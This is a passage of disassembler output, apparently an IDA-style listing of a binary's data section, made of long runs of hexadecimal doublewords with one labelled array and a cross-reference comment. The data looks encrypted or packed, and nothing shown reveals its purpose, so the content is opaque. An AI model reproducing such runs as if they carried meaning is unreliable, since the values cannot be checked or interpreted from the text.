90A3BA04h, 9721FB96h, 0AA160E73h, 0D8B95100h, 0BD3BAE2Eh dd 0B10BD3DCh, 0F0142AE3h, 0A1E211F3h, 7E8EE33Ah, 0CBC14A0Fh dd 0E2552227h, 0EB1CA0DFh, 5BFBF534h, 6129FCF2h, 615D6834h dd 298DAE50h, 0EC449F01h, 185A4627h, 0BC9753C4h, 25A6EA2Fh dd 311B16D5h, 3E593682h, 6DF26AFBh, 1A711A89h, 0F70E9402h dd 6498E03Ch, 4B3E090Dh, 0EBE284E9h, 6603AFE5h, 0A50323BAh dd 5EE6E007h, 43BB4A97h, 0F21609F0h, 0C7D5B26h, 7DA211A8h dd 0D631182Ch, 55EE125Ah dd 4E91A09h, 2DF9147h, 50A830B0h, 8B50AC0Dh, 2735789Bh dd 4BC4AE1Eh, 0ADE90803h, 0E1971682h, 0E2E96752h, 72F273D4h dd 9C34EA0Fh, 0AA0C6B3Eh, 0C00B4249h, 6F4F2269h, 6F965C24h dd 1DD236C6h, 0B242F860h, 9F6D415Dh, 88E95E90h, 0D725D494h dd 2CF1B23Bh, 7F1CA99Ch, 0E2E0F7C9h, 0FC0508E2h, 0D89AE96Ah dd 0F85F24BFh, 583804D6h, 0D7AF36C3h, 0E95EC0CEh, 0A0B53F7Ah dd 903ECE22h, 0C0369C4Ah, 52D877B0h, 73533148h, 4D5BE971h dd 3BB86080h, 96E2547h, 7FC24848h, 503ECF2Fh, 61C00903h dd 29055531h, 5AD8FE38h, 39AB26FEh, 0D8E32576h, 5809DDE2h dd 0E95D5E48h, 20E4CB4Dh, 3B61BAE8h, 0B03E5EC5h, 0EA5FD1E9h dd 17ABD6F0h, 0ACF7453Ah, 0D88914F2h, 7BBF75BCh, 0FF2DA081h dd 0F849B5E5h, 2A93B082h, 91600F77h, 9A6A5164h, 0A90269BCh dd 0F53BE17Bh, 0E1009242h, 0CC956333h, 0B65C44B7h, 6B970271h dd 60D02BA2h, 19FE712Ch, 40AB6C2h, 67B6EB46h, 0D9387201h dd 3CE0E965h, 0CEB24BA6h, 4FA870DCh, 0D1E2716Ah, 0E91AEF78h dd 2285E2Bh, 365EBE9h, 54E9CE31h, 0F4A8541Eh, 1314F989h dd 12084910h, 0C8A0233Ah, 0EDC44A50h, 5249A54Dh, 0C26BF463h dd 247C26A9h, 6E13D58Eh, 1BEAC064h, 2F978BE7h, 46E5D101h dd 0AF424113h, 61439856h, 8F248A1Eh, 516597CDh, 76F48E89h dd 0F79141F2h, 7163CED1h, 572A8CBCh, 5E5C6804h, 0C0FE7E6Eh dd 2920C9DFh, 0F7EE47ECh, 1C2E030Bh, 3D03751Fh, 34C04EBAh dd 0C24F3141h, 0E9A073A8h, 88A9BCD1h, 1F04A653h, 0D71B0925h dd 0CE0EE165h, 2C3610A4h, 0E2F04F15h, 0EEBD114Bh, 3F30492h dd 52530131h, 63315B68h, 22AD121h, 12B12C63h, 2C2E8CDDh dd 829E9E4Eh, 5B213384h, 0C8F5E3F5h, 3272E9CDh, 0B7A20AF4h dd 62C662F0h, 2A93B3C5h, 2415E2Dh, 0F16ACDB9h, 0A5814976h dd 6A444FE9h, 12B8D320h, 22962F1Fh, 53026BD8h, 9A317DBBh dd 4EA06040h, 0EC087966h, 30AAB8F3h, 480C17AEh, 0C64FF8BEh dd 4E581DE0h, 4FB7A387h, 0DC109A8Bh, 3BBA3E9Bh, 2402A418h dd 34099126h, 86497479h, 54278CDDh, 7E1EEB20h, 0FB5BB701h dd 0FF435BACh, 0DF5F1D6Ch, 2F69FCE5h, 0D4A78259h, 4F723FDh dd 0F2676168h, 2831782Dh, 0BEA64951h, 98886D74h, 0C3801CA8h dd 50EB0593h, 0E408C1B4h, 562393BDh, 5096DEBAh, 0DB5E05D2h dd 2092AE31h, 0FE9EF922h, 0CC7BE615h, 0E8C1D61Dh, 4CC60590h dd 0C018CD51h, 0AA291D27h, 3025DF90h, 60577674h, 66220272h dd 3D4A0BFAh, 5B89E5B2h, 0DAD3B238h, 52B1A691h, 139D484Bh dd 2291C9E7h, 97BD0EFBh, 32572387h, 7AC7B309h, 0EF1CCA6Ch dd 7E6805C0h, 98CBAB1Dh, 249FBC4Ah, 589390A5h, 9DBB5D84h dd 7AE8827Ch, 753CC278h, 0EF749350h, 0E9F42225h, 846C7A8h dd 5917810Ch, 12839131h, 314804A9h, 47E9F888h, 3E85F4Fh dd 55C7139Eh, 0F7782930h, 0E828597Dh, 2F136F8Dh, 2AFA7DA6h dd 0ACA45B4Fh, 9132C2E1h, 0D609010Ch, 31E8D23Ch, 5ED68416h dd 38673EDDh, 30050527h, 55834F5Dh, 0D423749h, 0DE8BC0D5h dd 7D3E0044h, 0F64B6AB9h, 6972998h, 2745B4C7h, 53FCE45Eh dd 2AA8C46Fh, 6A21E0D8h, 0C18F10AAh, 8A75A668h, 0D5F63843h dd 0BF05F080h, 9F50A460h, 15AC0F74h, 6997E961h, 8A6FF22Ah dd 4B38D20Ah, 80E52BBh, 0F709DC96h, 0D10BFFD0h, 1EA8A22Ah dd 612A4DE4h, 16FB3C77h, 7389CC19h, 309489E2h, 281B6E68h dd 3A16CB2h, 934EE491h, 0A915C101h, 5BE839E9h, 8EEE3494h dd 0EEB04E31h, 0C7C5C038h, 25694FA8h, 1741E3F6h, 278603Ch dd 0B309AFA2h, 37F6CA29h, 9056055Bh, 0B9159F35h, 0B70692EAh dd 2C27AFE7h, 136170EAh, 0E4DBFE14h, 447F680Bh, 5C7C9FB0h dd 82BA5DF6h, 0FEF3E912h, 0A7D331EDh, 20075827h, 0DD291609h dd 9679ED5Bh, 3DD838FEh, 0EF59E360h, 4FB3D9A2h, 7EF9A893h dd 0BACBC254h, 0D33BDA0Fh, 0E5AD454Fh, 8FD034ACh, 0BE958492h dd 4592BFE6h, 0BFB797DFh, 2F682338h, 39E6552Bh, 1DA616C0h dd 29E94235h, 2BEFA14h, 467E41A7h, 0EF401C00h, 59D6A127h dd 39CCA62Eh, 9FE85BD3h, 94C1F52Dh, 837DC2B1h, 9F37F117h dd 0AEF41DD7h, 0B90287F8h, 21EC4BCBh, 47E0543h, 1C6F1B31h dd 0E43EEAD1h, 24412BB3h, 66572941h, 67EC6959h, 629691D5h dd 935DE286h, 0EDAC06E1h, 13522F3Ch, 55E82900h, 73F41BDh dd 0E5C12D06h, 3A6CCF01h, 53843A56h, 825012C2h, 762B3A7h dd 57E6C266h, 0A83F575Eh, 0E698F522h, 0E969FC09h, 7B950F4h dd 0B1ADB652h, 5AF1007Fh, 5970CE88h, 0FF95F05Fh, 0A82FC9E8h dd 0A24A5A12h, 9BDF947Dh, 532993CFh, 0E1B304C4h, 14CD8823h dd 582DF540h, 361854E5h, 74F6F85Dh, 910D384Fh, 82040DF2h dd 491F61BBh, 9E313F36h, 162E208Dh, 0A243E0E1h, 0AD206467h dd 0D0D0BCE5h, 54BDBEh, 0CE811536h, 3EB510F3h, 4AF6ADB8h dd 4043472Fh, 5D01703h, 77E9DC2Ah, 0F48BECCEh, 2E9E8BEBh dd 9900E95Eh, 5A6C2F09h, 4E260D1h, 0F281DAF7h, 43D9980Ch dd 573664Fh, 14A957Fh, 8CD10D6h, 0E29A924Ah, 0FC475849h dd 522EE8CFh, 0EA2C5F88h, 0E78C2213h, 0F49E41FFh, 7B9D6B38h dd 40044BEDh, 5A13A0EDh, 0F925639Fh, 0D47E77C8h, 5D0804ACh dd 0BF008401h, 0B6CB4CF3h, 5898E052h, 3D89B94Eh, 20AF7C42h dd 0F370AAEBh, 0A258522Fh, 893657Ch, 125E0995h, 34B1E798h dd 0E999B207h, 0C6090E8Fh, 0BAA0F406h, 685A0A1Eh, 0C6817BF8h dd 0B0174941h, 4EEF65Fh, 0B99B7D65h, 63FFD220h, 0AE10DF32h dd 0FD4B3D1Dh, 0BF74C682h, 13FB970Ah, 73B204CBh, 7E52CEEFh dd 0B5863F37h, 14DB2767h, 632CF6B8h, 0F3017FA2h, 3D5831C2h dd 6B2E519Dh, 549DE970h, 69046B3Ch, 76AF12D1h, 0A101ECF3h dd 0E9052972h, 0BD81E2E6h, 0D74BFFF1h, 0D3132F27h, 8AC4E4A2h dd 5E24929Fh, 52FA560h, 815FCD00h, 4A1534C9h, 8209676h dd 2912AB60h, 13C5D4B0h, 0E47B0B53h, 0DE400CF4h, 0B8EF5F01h dd 51C4D9Eh, 299A2B3Bh, 0B3767C3h, 0E55BE90Dh, 0F8F66614h dd 46E4DF5Bh, 3F1F1FEDh, 3FF5E4A4h, 0C0162F13h, 7A69BE0Eh dd 84C17450h, 53E01518h, 1F49205Eh, 0D9E934FCh, 61F8ADD9h dd 0E959F2F8h, 375E2501h, 6BD46C56h, 77AC001Ah, 0AFF32D40h dd 12C36E5h, 5FC9D2C6h, 261F5D02h, 70C9BB00h, 31761298h dd 78EA4CBh, 0D529E6AAh, 0DE62943Ah, 0C370395Ch, 0E91909DFh dd 86D6015Ah, 3710820h, 0E4F0FFA4h, 5F3A4665h, 1A7D9CEEh dd 50F94C4Bh, 0E17E982h, 71EC57D2h, 776A7F8Ah, 23B4771h dd 4A3EACC5h, 0F6F08209h, 1A997597h, 266AD628h, 27F11D80h dd 511FE47Dh, 39F9315Ah, 0B08596CDh, 0F63BE52Dh, 0E09192E1h dd 550020B5h, 0D69574FFh, 677FD226h, 9AFFA51Ah, 38C35AE9h dd 0AA4B6753h, 0BA074E66h, 84E927B2h, 88685B01h, 0BD18506Ch dd 0C9012250h, 5DEF210Ah, 0E164A3E9h, 8F2D045Ch, 0AB30FF7Eh dd 8C8B1C04h, 0D44B8116h, 0D770D69Ah, 61912DDh, 5DF9311Ch dd 0E0091AADh, 0F72D4270h, 702058D8h, 0D4349F69h, 5B6AF69Fh dd 0F168C709h, 29B1C950h, 0C5894069h, 4CC20756h, 0C9C4DDDEh dd 552EF80Fh, 0E101863Ch, 18ED7583h, 0C68850Bh, 2A0B11CBh dd 78B2E97Eh, 0C5801CB1h, 0FF07FF1Ch, 9208E5C0h, 40E03FF5h dd 0B3B50112h, 0E4AFD90Ch, 53EE5B81h, 0EC73B61Ah, 2CC31B58h dd 840AF068h, 4AE0A6EBh dd 9C7AFA4h, 29280B7Fh, 98F6467Fh, 117E2709h, 90E97518h dd 909C3F4Bh, 5C5E4C59h, 96F36D51h, 0C9F104FCh, 0B412422Ah dd 0CF4F5AE9h, 510AE849h, 0CBF09F37h, 0FD1E755h, 196A5303h dd 0EC6DE16Eh, 301E9D7Fh, 2B0E8D3Eh, 0DE297C47h, 4C08EF14h dd 0BB874485h, 8000AFCh, 0B5F38164h, 2D2F5122h, 0E10E94E9h dd 0C3EC052h, 155C8B70h, 0C6004F77h, 67072D59h, 0EC664ECBh dd 5A0740D6h, 7D1211ECh, 0F5E82B26h, 75D40741h, 65660421h dd 0F5AFB0E9h, 1BAC82ABh, 557EB962h, 0D9492FD9h, 0A3330C3Bh dd 5927C837h, 59FDF429h, 0CD3E7452h, 31A07400h, 0CBE9018Fh dd 9DD2D003h, 9105DA07h, 1A82C91Ch, 68015EE2h, 0F6285D4Fh dd 372F518Fh, 0D35A32C4h, 54A9E039h, 99DFF776h, 10EE90E1h dd 12CD68A6h, 0BF97E90Ch, 5E7973C7h, 2668E9C5h, 75DF9407h dd 0AAD37BD0h, 0B055B38Dh, 803CD07h, 4FDD4E99h, 0BA291005h dd 6BAE6809h, 322D36F7h, 0EF99F9E7h, 0F4FAC07Dh, 0BE12C317h dd 3CD0721Dh, 0CB1FD7B8h, 0C8C9D3BAh, 0B11CDFC2h, 0CA0FD69Fh dd 14CA62B3h, 0B8A3E309h, 0B7C876DAh, 0C90280F0h, 0E9B480D1h dd 0D53DEA64h, 0F52743C5h, 0DC39F998h, 965CCC82h, 393DC251h dd 47E45319h, 0E22136Ch, 0A900005Bh, 81721C4Dh, 3AC9CE04h dd 0E0BE08DCh, 1313AC1Fh, 8FFC74FEh, 0E9585305h, 0B9E4F032h dd 65115C14h, 39024CBFh, 0CBAC5BCBh, 0AED3D5B7h, 2226B23Dh dd 1AA3B802h, 2055496Bh, 0E940588Fh, 5CDBC36h, 57432A68h dd 5A2EB265h, 7CAD6DBAh, 0F404969Ah, 5807084Ah, 92777E53h dd 0AF54E19Bh, 6674D9E5h, 8E444FBh, 0A15C0AF0h, 0DB36D402h dd 0A399801Ah, 0F86FEF63h, 5A5E2852h, 40DA90F3h, 0F94CB58Ah dd 0FCEE27CBh, 22C1802h, 3EB0041Ah, 15FD057h, 0D6F6EEB6h dd 0AD3FCEFEh, 0E92C77ACh, 0AFBAC845h, 0BF11D037h, 5D6B79DBh dd 0E9124294h, 3DEBE42Ch, 37B8FC08h, 0F80212B5h, 8159974Fh dd 0E90421CBh, 743F6A1Bh, 7ED12DEEh, 82570A72h, 7A3EEAC5h dd 0B8FB0913h, 255DBF03h, 16F81FF2h, 336CEB4Ah, 2781BF52h dd 0ED464173h, 0B5826ADFh, 0F3E7076h, 13F4CF81h, 758B4E2Bh dd 4C52BA02h, 4805A6F0h, 152EAF35h, 0E8BC1782h, 2E1BB915h dd 162CC277h, 3BA2AC41h, 0A1AB165Eh, 0A04B1BADh, 0A27766A7h dd 2CB27C9Dh, 99D7C909h, 412E4F95h, 255C662h, 0EEB930AEh dd 88BCAF1h, 0EDA67E71h, 67F96D13h, 29B598A5h, 0BC3AF941h dd 1348C29Bh, 0EDA1815Eh, 2B60C11Bh, 492FB851h, 804E8AF2h dd 5266DCACh, 558C683Ah, 19FD2038h, 0F1289FA0h, 0BD805A39h dd 0E6A99431h, 0E82A4F5h, 24D17478h, 8151E5E9h, 74838F9h dd 80BCB570h, 74886FE5h, 0CFC1A4h, 0BE0EC42Dh, 16C1946Eh dd 0C499A150h, 0B805353Ah, 7053151Dh, 0DC8B10BFh, 4F97080Eh dd 0BCF1E57h, 805502E8h, 43413B0Fh, 4349D7DAh, 616855DFh dd 52E75F7h, 8A0923E9h, 8CC54019h, 62350212h, 12B60DFCh dd 416245B7h, 3A49FAE9h, 0A5688571h, 40BFA404h, 4744295Ah dd 0BE1756AAh, 0FD99681Ch, 0A4F4E706h, 1913A075h, 0FA67C92Dh dd 7C699500h, 2920032Bh, 225526D7h, 3E438896h, 42257A6Ah dd 5FB25F78h, 92A9797Fh, 0C0F2B142h, 28025AF4h, 0C3EC80FCh dd 42ED8B5Bh, 69F17700h, 0B64A8662h, 0F1DB9F90h, 0FC605E96h dd 9D74BAE9h, 64513390h, 5613145Ah, 4066DA05h, 0C88334FBh dd 8CB85EA5h, 80BB0BBh, 37A3C673h, 60B70B27h, 14DC1BA5h dd 57E8290h, 0ED00EE4Ah, 85712F2Dh, 0C108B754h, 1C853A07h dd 0A8677327h, 0C331C002h, 0A9869FE9h, 43EDFC4h, 0C9FD68F4h dd 9DDDD9C8h, 0A09BAC0Ah, 1AF7D10Dh, 8526A63Bh, 0E7AAF778h dd 3C7A4065h, 0A4411B41h, 538AB9D0h, 62BB73FBh, 0AB438DB5h dd 0CAC5FEA9h, 7817DCE1h, 5C824EE1h, 92CF76A0h, 998EEBE3h dd 0EADBE90Ah, 1CF7829Ah, 8E29377h, 31E2407Dh, 513F2D5Ch dd 948035F4h, 0E961113Bh, 2D29965Ah, 0FD48F60h, 89F94C0Bh dd 14AD0EEh, 3B580CECh, 7B49D1F7h, 535A23D0h, 0E9D40B26h dd 46D6F071h, 0CBFA5F72h, 6B2BBEBCh, 2D06B008h, 8568F3B0h dd 9D992AE5h, 82EDEA20h, 17A75977h, 190F118h, 2A4707E2h dd 0E1AE4B40h, 27E9B8F7h, 9366B58Ch, 0FC20577Ah, 39055493h dd 0CC504A34h, 2FE10253h, 0DC057070h, 1B8F2546h, 2F07FA08h dd 0FF65FC92h, 0E63FE904h, 93BF989h, 0AAE2C376h, 0DC6A0055h dd 3C773948h, 0E2010558h, 44E9320Ch, 6193DE4h, 1F4A5D60h dd 7C86020Ch, 62E917F4h, 52580868h, 2309D090h, 74509440h dd 7CE640A4h, 894AA11Ch, 0D61792B8h, 6D29BFFFh, 0B6494BF0h dd 0F6268BE6h, 93920C59h, 0A2BA17C4h, 1053A337h, 493C614Eh dd 0B164FE7h, 30372A9h, 290DF224h, 0FC28849Dh, 0A1DF772Dh dd 6625CBAAh, 77995756h, 4EE91C34h, 990FC572h, 285A0192h dd 5856005Fh, 525B2C5Eh, 1D31071Ch, 815DA011h, 201246CDh dd 76000922h, 5F333D53h, 0C002F4E9h, 463FBB56h, 0F0BF2256h dd 0B3A0B55Ch, 3EC85BBAh, 73F311C0h, 0B7C24A56h, 0E4056205h dd 0E85001B5h, 0E2ABF4FDh, 0D13B69B1h, 28363865h, 2FAC08C1h dd 0DAC2E696h, 0B52D0069h, 74B8356Ch, 506E801h, 0FCBFEC52h dd 2F27A16Bh, 0E98705A3h, 0CAAAD979h, 0CCD913BBh, 0C1406D56h dd 2CC74A31h, 9C0AC5C1h, 905CD162h, 4912AA0Eh, 49A87D1Ch dd 171C3408h, 1E32FB14h, 58495E5Dh, 0D9A60917h, 8CA8F197h dd 0EB79A728h, 7927B80Bh, 0F225055Fh, 0D19C000h, 7D5BA1h dd 4B48256Fh, 0C82D6068h, 7F7A5800h, 0AE137805h, 9DD1A082h dd 79642D59h, 8825DD2h, 0B700733Ah, 5E1074Ah, 3FEB9A90h dd 0BDFBF404h, 12424BFh, 1336DDD6h, 58D43E69h, 9B310816h dd 0F1833A7h, 8AC8AF26h, 0D2561012h, 0A24C060Fh, 0D26F7768h dd 0BAB44812h, 5C06C3Bh, 180FA705h, 7BC2211Eh, 0DDF94042h dd 373A3B2Bh, 4386EA0Eh, 94F6172Bh, 0F42A8971h, 5C9758EFh dd 0FE5CE44Eh, 0FE1065E2h, 0BD5500D4h, 31A6641Bh, 0ACD55FF7h dd 0F581018Ah, 75876213h, 0DDBFF940h, 0A5B148A9h, 0C028BE50h dd 5413B870h, 36B63083h, 890922ADh, 2527EE3Bh, 5AE28DE9h dd 0EB14C57h, 17B95BDh, 0CA007E5Ah, 35B51A6Dh, 0E9024662h dd 252F54C1h, 91206544h, 0BBB40520h, 0C307ECC0h, 0F499BC73h dd 44312EC4h, 9CCAE288h, 0E9ABC296h, 8802B55Ch, 69E35DC1h dd 585BFAA8h, 5AD02800h, 85E9DC04h, 84D9B48Fh, 0C04032D5h dd 0E162C5B1h dword_4F0044 dd 40EE062Dh, 5F876831h, 2F018F61h, 6D1A8034h, 9F417563h ; DATA XREF: ___:004385A4o dd 0C6204276h, 0C6C73A5Ch, 0B160685Fh, 7EE98AC7h, 3A9A89Eh dd 4F5F0208h, 501EFE01h, 1BC32CD6h, 3F12EE9h, 1A02E1A7h dd 0C0B71785h, 13E0412h, 0A5CA313Bh, 9D31D0CFh, 0F552305Ch dd 7F632549h, 4AF5CF48h, 60350246h, 0BCC14B53h, 293372h dd 0B5FFB21h, 30850FDBh, 68AEF124h, 0D8994332h, 0A1401E10h dd 0A6373FB6h, 2DDD5CF8h, 0E73D2807h, 9EF1E05Eh, 360C410Ah dd 79E850E9h, 5C6D09C7h, 0F1742190h, 45BF08A0h, 81CAE7Ch dd 5C02FAF7h, 0CC430768h, 0B14C7BC9h, 277C2DEDh, 0D11133F9h dd 0DE0B68B1h, 120F2B4Ch, 4B1EFE52h, 2F54A232h, 0C2C75E0Ch dd 0F1AF2568h, 79D829C9h, 3F096CE9h, 4FA61FE3h, 0BA338E4Ah dd 896A8540h, 9560F60Ah, 0C90B9D53h, 58B9FFD9h, 6A65F153h dd 6AC63720h, 60337B9Dh, 685B6FBEh, 0C2B43F80h, 0C2CB460h dd 164E5856h, 487EA15Fh, 0AF50C100h, 0EBF05A68h, 0DE114A65h dd 0B848F1Ch, 27846259h, 952918B0h, 986CA859h, 55D92E8h dd 0D676ECC5h, 0EFC1AF0Bh, 482D3845h, 0D6F746C3h, 60894B9Fh dd 6281E2F1h, 31D22739h, 0E949D83Eh, 0F004955Ah, 4FC35954h dd 0E8CD4E07h, 92383C6Bh, 0F6F4E611h, 1C05933Ah, 801C601Fh dd 0E5CA91F5h, 8118F6EDh, 3EA4EA17h, 0C2BACA28h, 0A9AC2DFDh dd 0AC988164h, 0D4B151C3h, 0DE51DA80h, 0E319C29h, 0E80359C8h dd 0B1E95266h, 0E7FE701Ch, 0DFBF9EC0h, 0F4786B3Eh, 8C434E9Ah dd 2C2C74BAh, 67148D8Bh, 1AC1809Fh, 0A0A3D28Fh, 2D0B14A5h dd 0EE82397Dh, 0D10A2C62h, 0C1C90D1Eh, 2693DE0Fh, 593D4083h dd 9E982F5Dh, 69F4DB5Fh, 0B83BF50Dh, 6C46806Bh, 27E976B3h dd 9679F7F8h, 12B8D4E9h, 50CCFC51h, 7DFFE13Eh, 722B0746h dd 9CB23F30h, 0DDBD00A4h, 267B03Bh, 0F9D2A3BAh, 586AFD08h dd 0BA52F4E8h, 0AA7BF517h, 4EA7400h, 16EFF281h, 0C03C8D53h dd 47F452AEh, 62A1384Bh, 36091140h, 294E1A8Fh, 802A6C6h dd 0A057F6E9h, 7168E6AAh, 622B9C1Fh, 0C6574742h, 0AE54ACCh dd 2974B27h, 38035B66h, 0C293E97Fh, 0B3108A25h, 27D2D58h dd 5110D229h, 98DD7868h, 638FE9E7h, 2623F95Eh, 1BD15793h dd 2FE37E9Fh, 28A82779h, 2B125345h, 0BF4F21F8h, 80874438h dd 0B9A25BE9h, 0BE19D37Fh, 0DCEA56A5h, 0C708165Ch, 28B800A1h dd 2D27582Fh, 4A10500Fh, 955AE5CFh, 40DACEBFh, 0BD626A1h dd 0A0BB52BAh, 2313D366h, 50AE323Dh, 5826087Ah, 31830885h dd 0E2EC5417h, 7C279C02h, 0B470F73Ah, 1A810326h, 77F14300h dd 0C06E54E9h, 26946883h, 5F6020DAh, 46562B8Ah, 0D50CC306h dd 9EDE0E2h, 0AF7DE6A6h, 0ABA8966Eh, 3FC29E89h, 92BADF63h dd 5953F16Ah, 0F89C77E9h, 0D91E5D05h, 0D701F709h, 7FA0E9D6h dd 1E571EA5h, 0CB44D36Ch, 52EA4F27h, 93CDA2FAh, 0F5D84509h dd 49253F64h, 0F9D41832h, 27D48291h, 1002068Ah, 1E98D7A5h dd 23B911B6h, 0E285992h, 51622C68h, 6182C001h, 0D1256C6Dh dd 2FFF8E6h, 4414BD55h, 166232F1h, 4DB51DD0h, 0C6A53E18h dd 0FD68DF79h, 2C6D1F02h, 0E8E0DF0Dh, 2ED0CE01h, 0BFE9170Bh dd 9AAAAA56h, 3DAE4E5Fh, 0AE59554Bh, 984E618Bh, 302F6896h dd 0C918D116h, 9027599Eh, 5B07AE3h, 344484Ah, 0F641AB29h dd 2A1F705Ah, 68AA52Fh, 17801C08h, 0F64B78E9h, 0EAD465AEh dd 3230FC8Dh, 69A0BE06h, 0AF9985Dh, 0BD5EBA53h, 272560D2h dd 15DCEECFh, 7D4FB568h, 0D02EE4Fh, 0B3515BD8h, 0F1C7E3FFh dd 7D8E9FDh, 63549601h, 68A0C8BEh, 0E916092Ch, 0E490602Eh dd 4E811A21h, 58AED46h, 6811A214h, 0A9E9AC42h, 0F5145F31h dd 360BF60Bh, 5FA34191h, 0F54A548h, 5251700Ah, 5C2EDA61h dd 0CAE2301Fh, 9E6FC800h, 6E2C14Dh, 0B6F178E9h, 13DF83E4h dd 16D96CCBh, 0A6A324F8h, 59D12900h, 0E845F12Dh, 5D353E7Ah dd 21A16105h, 604DF3C3h, 135E4BC8h, 0B81CD863h, 71B5D58Fh dd 0F09DE5FDh, 660E5B80h, 4EFC8850h, 18E28FD7h, 0B574203Ch dd 0EBCE00A5h, 3AD40327h, 7EA01AAAh, 0A97F9D57h, 0C245963Ch dd 0C0DD09DEh, 0F119CD9Ah, 4B730B7Dh, 166EE6CAh, 9D20E0BDh dd 6E7A6F4Dh, 57226619h, 0F1F61B94h, 0F7B5E02Fh, 92279FD2h dd 224790E0h, 1995D101h, 806E4934h, 0F67BB5CEh, 6DCF2926h dd 47D97F5Ah, 7855562Fh, 0E04928E9h, 71F70357h, 120A45Ah dd 330699Ah, 61FA2974h, 5F08021Dh, 0FF57C855h, 6BB5246Ah dd 0EF688B2Ah, 0E2C57274h, 4FC298B4h, 10D1B158h, 2B52E964h dd 0EE2DDDBAh, 200474E7h, 0BB2F8E5h, 91BAE96Dh, 0F642B5FBh dd 71A457F1h, 83C48255h, 80E35D05h, 2ED7F14Bh, 80EE1C09h dd 0DC22FB7Bh, 0BDCEF44Ch, 294BB216h, 3BAC0871h, 6EF9DD2Fh dd 10055CB6h, 804C600Bh, 0EA1FDAFFh, 3E0B0D5Ch, 1560FF22h dd 0CD04AC0Ch, 5F9FA2ABh, 314DD502h, 0D5105E05h, 622C05CBh dd 56E01FA0h, 0C5994E68h, 81B2AF4Eh, 0A8FC56CBh, 0C19110EBh dd 92A1B968h, 1651095Ah, 0A2BD5CE0h, 6EA3170Bh, 8EBAF09h dd 0D3B80144h, 0E82AF51Ch, 0D9B412C6h, 23C50BEBh, 92C5892Eh dd 9AFD93EBh, 0C9EDF44Bh, 3D6BC655h, 941732E9h, 741FA6Fh dd 62D6452Bh, 14CECB30h, 0CF6E0E3Bh, 9961E304h, 0BDD1FA73h dd 382E52B8h, 0D705F7F9h, 2231E956h, 683F20AAh, 0EA835306h dd 5C1E69D7h, 0B5849D7Ch, 8567BA1Fh, 0DE3B35A2h, 536260CBh dd 0B0B561D6h, 88C68455h, 310B6AF7h, 0F591A08h, 0BB672325h dd 0BAF9D2E3h, 95CEC154h, 355E0473h, 0BAF9D5A1h, 0C2311D46h dd 0BCCC5EF8h, 8E56DE4Ch, 13B26AA0h, 21EA28B7h, 4F5152Bh dd 687D80EFh, 0C59D712Fh, 2CFA4E4h, 74A36632h, 169DD9C0h dd 0F02D2927h, 81B2749h, 0A22C5471h, 0F0878807h, 51EED0D2h dd 34A84E7Ch, 78C5BF00h, 268153D9h, 148989CFh, 3902E93Ah dd 293D866Fh, 288A8F69h, 0AA85EB3h, 0B4DBB84Eh, 7D848094h dd 36F901FBh, 2C0AB2A1h, 50665DEh, 5D7A3782h, 0C78907E7h dd 4A145D02h, 4ADC4C9Fh, 9828AB5Fh, 84152C1h, 555A6070h dd 5330ABEDh, 0DAF32D4Fh, 3C190202h, 0E05F4D44h, 394BC56Bh dd 29107184h, 179E40EEh, 0E2CD10F5h, 1ED83033h, 9EFFD32Ch dd 7EE9E40Bh, 271B5A86h, 9075EDFAh, 1D0D34DCh, 895F731Ah dd 2AD436B9h, 9D1D3566h, 0F1530041h, 4A5068FBh, 0ABD663FCh dd 2342AA20h, 806A4A68h, 67A1C903h, 41479616h, 0E87AD5FCh dd 4B087044h, 4DA2A80Dh, 0A6FAC411h, 0C542C9E4h, 0F8A4F015h dd 8BACD16Bh, 0A384A23Bh, 15B05CAh, 927F099Bh, 460D3073h dd 726A3313h, 0BC4F1EA8h, 88746055h, 27B4C275h, 745DD01h dd 0D849D827h, 6C82D606h, 50C077F0h, 1CF31BD0h, 9D4172E9h dd 4B074759h, 0EBBFEBD1h, 67BF10BDh, 0E58127D0h, 472DFCF8h dd 20175A88h, 27CB11F5h, 0BB07675h, 36DD425Fh, 1D7CB5B2h dd 4DE25892h, 1AD98CC4h, 5D882B86h, 5AD011B0h, 0E8EDF497h dd 0F4AA091Fh, 0D327B3D7h, 493E63Dh, 8EE1D2EBh, 1039ACFEh dd 5725C947h, 1422D40Eh, 0A7FE4A65h, 0C9A10720h, 0C45FC6F7h dd 0CCD7806Eh, 7AF282C9h, 1E7FE40Ah, 51AF8C69h, 2AB50180h dd 0D9C17103h, 0FD183004h, 75CFF32Dh, 8F678602h, 2573EBC4h dd 0C062E61Ch, 0F64203DEh, 60F0288Eh, 820FE056h, 7F392B61h dd 8EF90331h, 647BCA6Eh, 83FA5A1Fh, 232D5939h, 56B954E0h dd 80F9669Fh, 538B6BFh dd 0E2C10D1Dh, 0BB8E0208h, 0E2F0E67Eh, 0ADC8BF0Bh, 2FE77C25h dd 0BD100F84h, 0E2EB015Eh, 294AE448h, 804DB65h, 0BE5A64BFh dd 0D143590Bh, 7EBE87D6h, 8150E439h, 2BF4C2Dh, 0E348FD5Eh dd 681F11F7h, 0E6CB372Bh, 528A6858h, 8E1C893Eh, 415150C2h dd 612CDFB0h, 0C8ADA12Fh, 0A8945AF5h, 85EC696Fh, 0DCBCB82Eh dd 7FD00500h, 0B42D31F1h, 7BD14F0Fh, 0C3026148h, 13608CC2h dd 0F02F396Ah, 40FEED5Ah, 20F35808h, 0EA5FA631h, 385A59E4h dd 9EC83521h, 0FD82Fh, 0B50A866h, 6FC5FD4Bh, 94D1DDBAh dd 0C5570Fh, 3A4B4F2Ah, 495EE950h, 0CA840498h, 0A3241F54h dd 0C94E4810h, 79FC40EDh, 770BB12Ch, 79C244E9h, 5BDA426Ah dd 0E9E809BAh, 1C53EA68h, 0AFA940ACh, 45C38825h, 9A043C40h dd 940AD568h, 0A460845Ah, 6178C15h, 6C001BB8h, 40A3482Fh dd 0BE7FA47h, 116123A5h, 43014F05h, 495C5D5Ch, 5BDF3198h dd 95BAD0B7h, 554091C4h, 2677B168h, 0BDFEA65h, 0D9A54DBFh dd 786AC142h, 6C7E3025h, 51056507h, 0F7D04464h, 30F35D8h dd 2D18AB1Dh, 0FEE3F121h, 3A58C5A1h, 4A43B4B4h, 2E6B36Eh dd 534BBFC3h, 8806C270h, 880A0878h, 0C942CE03h, 84E4710Eh dd 0C7A73237h, 0D103254Dh, 7BCAB0C8h, 1C864CE0h, 0C7C9CE80h dd 0D9E9CFC6h, 0FE2EE8DAh, 1E0BE35Fh, 9801E820h, 517F862Ah dd 0D1D4552Ch, 77D2029Dh, 29B100AFh, 2B7A05D0h, 0A32BA2Eh dd 2B5565Ah, 75D07CD7h, 4A0EAC5Ch, 0E94E8187h, 